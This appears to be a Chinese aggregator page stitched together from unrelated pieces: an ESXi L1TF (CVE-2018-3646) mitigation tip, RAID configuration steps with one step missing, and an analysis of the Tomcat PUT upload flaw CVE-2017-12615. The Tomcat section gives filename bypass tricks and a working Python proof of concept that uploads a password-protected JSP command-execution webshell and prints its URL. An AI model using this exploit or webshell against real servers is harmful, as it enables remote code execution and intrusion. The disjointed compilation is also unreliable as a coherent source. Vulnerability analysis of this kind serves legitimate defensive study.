CVE-2018-3646

Posted 星光落入你灰蒙蒙的眼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2018-3646相关的知识,希望对你有一定的参考价值。

ESXI主机报错:This host is potentially vulnerable to issues described in CVE-2018-3646, please refer to https://kb.vmware.com/s/article/55636 for details and VMware recommendations. KB 55636

处理方法

1、在浏览器中输入主机的IP地址
在管理中的“高级设置”中找到“VMkernel.Boot.hyperthreadingMitigation”,并将其值改为“true”
2、重新引导主机即可

注意:开启后CPU的"超线程"功能将关闭

背景

为帮助理解推测执行漏洞,VMware 此前在 KB52245 和 KB54951 中定义了以下类别 - 此处是以下四个类别的简短摘要:
☑ 管理程序特定的缓解措施 可防止管理程序或客户机虚拟机中的信息泄露到恶意客户机虚拟机。这些缓解措施需要 VMware 产品更改代码。
☑ 管理程序辅助的客户机缓解措施 可对客户机虚拟机的新推测执行硬件控制机制进行虚拟化,以使客户机操作系统能够减轻虚拟机中的进程间泄漏。 这些缓解措施需要 VMware 产品更改代码。
☑ 操作系统特定的缓解措施 将应用于客户机操作系统。这些更新将由第三方供应商提供,或在使用 VMware 虚拟设备的情况下由 VMware 提供。
☑ 微码缓解措施 将通过硬件供应商提供的微码更新应用于系统的处理器。这些缓解措施不要求管理程序或客户机操作系统更新有效。
当前推测执行问题的缓解措施类别摘要:
CVE 2018 3646(L1 终端故障 - VMM)
CVE 2018 3646 的缓解措施要求 Intel 硬件上运行适用于主机的管理程序特定的缓解措施。
CVE 2018 3620(L1 终端故障 - OS)
CVE 2018 3620 的缓解措施需要操作系统特定的缓解措施。
CVE 2018 3615(L1 终端故障 - SGX)
带有利用推测性执行和英特尔软件防护扩展(SGX)的微处理器的系统,可能允许通过侧信道分析,将驻留在L1数据缓存中的信息从飞地未经授权地泄露给具有本地用户访问权限的攻击者。 CVE 2018 3615 不会影响 VMware 产品和/或服务。 请参阅 KB54913 了解更多信息。
KB54913:
VMware Hypervisor 尚未使用 Intel® SGX,也不支持 Intel® SGX 的虚拟化;因此它们不会受到利用 Intel® SGX 的漏洞的影响。此外,VMware 不提供任何其他使用 Intel® SGX 的产品(如虚拟设备)

清除READ信息


1.按下Ctrl -H组合键后,自检完成就会进入Raid卡配置界面,在这里可以看到Raid卡的型号和Firmware固件版本,点击【Start】按钮进入Raid卡主页。
2.Raid卡首页叫作WebBios。左侧是功能菜单,右侧可以看到所有物理磁盘。
3.在WebBIOS主页点击【Configuration Wizard】,打开配置向导,选择【Add Configuration】,点击【Next】下一步
4.选择【Manual Configuration】手动配置,点击【Next】下一步 (Automatic Configuration 是由系统自动配置磁盘阵列)
5.左侧方框内可以看到所有未使用的硬盘。按住Ctrl键可一次同时几个,然后点击下方的【Add to Array】将其加入到右侧方框内。点击【Accept DG】,
创建磁盘组然后点击【Next】下一步
6.点击【Add to SPAN】,将刚才创建好的磁盘组加入到右侧方框内,然后点击【Next】下一步

8.弹出写入策略,保存配置和初始化的提示均选yes
9.然后右边Virtual Divers框里就会出现配置好的磁盘阵列,如果还有其他磁盘需要点击back重复上面操作,没有就Next下一步
10.点击accept配置完成,然后提示保存配置选yes
11.配置完成后返回主菜单就ok啦
12.退出重启服务器(Ctrl+Alt+Delete),根据提示按F11,进行安装
How high the sky is, stand on tiptoe is closer to the sun.

CVE-2017-12615和CVE-2017-12616

Tomcat代码执行漏洞分析测试

1. 漏洞花絮

       2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615)    影响: Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)

当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

   

2. 基本信息

漏洞名称:Tomcat任意文件上传漏洞

漏洞编号:CVE-2017-12615

漏洞影响:上传包含任意代码的文件,并被服务器执行。

影响平台:Windows

影响版本:Apache Tomcat 7.0.0 - 7.0.81

   

3. 测试过程

0x00 安装Tomcat 7.0.79

0x01 开启HTTP PUT

修改Tomcat 7.0/conf/web.xml文件

Org.apache.catalina.servlets.DefaultServlet

添加readonly属性,使者readonly=false; 相反为True,是禁用PUT DETELE,默认没有添加

  1. <init-param>
  2.    
  3. <param-name>readonly</param-name>
  4.    
  5. <param-value>false</param-value>
  6.    
  7. </init-param>

   

目前主要三种方法:

  • evil.jsp%20
  • evil.jsp::$DATA
  • evil.jsp/

构造请求:

   

   

参考POC:

  1. #! -*- coding:utf-8 -*-
  2.    
  3. import httplib
  4.    
  5. import sys
  6.    
  7. import time
  8.    
  9. body = \'\'\'<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
  10.    
  11. +"\\\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>\'\'\'
  12.    
  13. try:
  14.    
  15.     conn = httplib.HTTPConnection(sys.argv[1])
  16.    
  17.     conn.request(method=\'OPTIONS\', url=\'/ffffzz\')
  18.    
  19.     headers = dict(conn.getresponse().getheaders())
  20.    
  21.     if \'allow\' in headers and \\
  22.    
  23.        headers[\'allow\'].find(\'PUT\') > 0 :
  24.    
  25.         conn.close()
  26.    
  27.         conn = httplib.HTTPConnection(sys.argv[1])
  28.    
  29.         url = "/" + str(int(time.time()))+\'.jsp/\'
  30.    
  31.         #url = "/" + str(int(time.time()))+\'.jsp::$DATA\'
  32.    
  33.         conn.request( method=\'PUT\', url= url, body=body)
  34.    
  35.         res = conn.getresponse()
  36.    
  37.         if res.status == 201 :
  38.    
  39.             #print \'shell:\', \'http://\' + sys.argv[1] + url[:-7]
  40.    
  41.             print \'shell:\', \'http://\' + sys.argv[1] + url[:-1]
  42.    
  43.         elif res.status == 204 :
  44.    
  45.             print \'file exists\'
  46.    
  47.         else:
  48.    
  49.             print \'error\'
  50.    
  51.         conn.close()
  52.    
  53.     else:
  54.    
  55.         print \'Server not vulnerable\'
  56.    
  57.    
  58.    
  59. except Exception,e:
  60.    
  61.     print \'Error:\', e

   

   

参考链接:

https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5&chksm=ea3f3dd9dd48b4cf1db66e70662126cf1eb45f60eb8205b3391d20f66564e6a789b158c0efe5&mpshare=1&scene=23&srcid=0920boQGYdCjZTPg2nEQRMqt#rd

https://www.secquan.org/BugWarning/522

https://paper.seebug.org/399/

  

以上是关于CVE-2018-3646的主要内容,如果未能解决你的问题,请参考以下文章

CentOS 7.5 运维之路之网络配置

LINUX企业运维——CentOS 7 网络连接和Yum源配置

一文梳理 RedHat 和 CentOS 运维中的网络知识

运维丨Centos系统无法启动

新安装并配好yum 仓库基于本地光盘(Centos7)(网络安全运维)

自动化运维——CentOS7下利用Cobbler批量部署CentOS